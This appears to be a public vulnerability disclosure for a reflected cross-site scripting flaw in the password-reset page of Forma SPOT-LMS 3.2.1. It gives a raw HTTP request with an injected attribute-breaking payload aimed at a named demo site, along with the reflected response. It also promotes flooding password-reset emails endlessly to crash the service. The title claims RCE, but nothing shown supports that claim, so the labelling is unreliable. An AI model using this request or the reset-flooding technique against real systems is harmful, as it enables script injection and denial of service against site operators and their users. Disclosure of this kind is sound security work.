## Title: Forma SPOT-LMS-3.2.1 Cross-site scripting (reflected) RCE - reset mail vulnerability
## Author: nu11secur1ty
## Date: 11.07.2022
## Vendor: https://www.spotlms.us/index_multi.php
## The software is applied in the demo account:
https://www.spotlms-anca-001.ovh/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/spotlms.us/2022/SPOT-LMS-Latest
## Description:
The name of an arbitrarily supplied `URL` parameter from forgetpw.php
is copied into the value of an HTML tag attribute which is
encapsulated in double quotation marks.
The payload qnlxv">sad4r was submitted in the name of an
arbitrarily supplied URL parameter.
This input was echoed unmodified in the application's response.
The attacker can use this vulnerability to crash the cloud system by
sending an unlimited password reset request to mail in an already
created account on some domain, for example:
(www.spotlms-anca-001.ovh).
## NOTE:
For this test `google` reacted on the twentieth request =) and they
block the requests from my exploit, but after some time the attacker
can repeat and repeat these steps endlessly :)
## STATUS: HIGH Vulnerability
[+] Exploit:
```POST
GET /forgetpw.php/qnlxv">sad4r HTTP/2
Host: www.spotlms-anca-001.ovh
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63
Safari/537.36
Cache-Control: max-age=0
Cookie: PHPSESSID=7affe3c03b941d681047eea2ed6a5809;
_ga=GA1.2.688816030.1667823793; _gid=GA1.2.466977147.1667823793;
_gat=1
Upgrade-Insecure-Requests: 1
Sec-Ch-Ua: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"
Sec-Ch-Ua-Platform: Windows
Sec-Ch-Ua-Mobile: ?0
Content-Length: 0
```
[+]Responce:
```
pagespeed.CriticalImages.Run('/mod_pagespeed_beacon','https://www.spotlms-anca-001.ovh/forgetpw.php/qnlxv%22%3E%3Cscript%3Efunction','lJlesnYP1D',true,false,'eZpCFSK_6xQ');
//]]>
A validation code will be sent to your email to authorize the password reset operation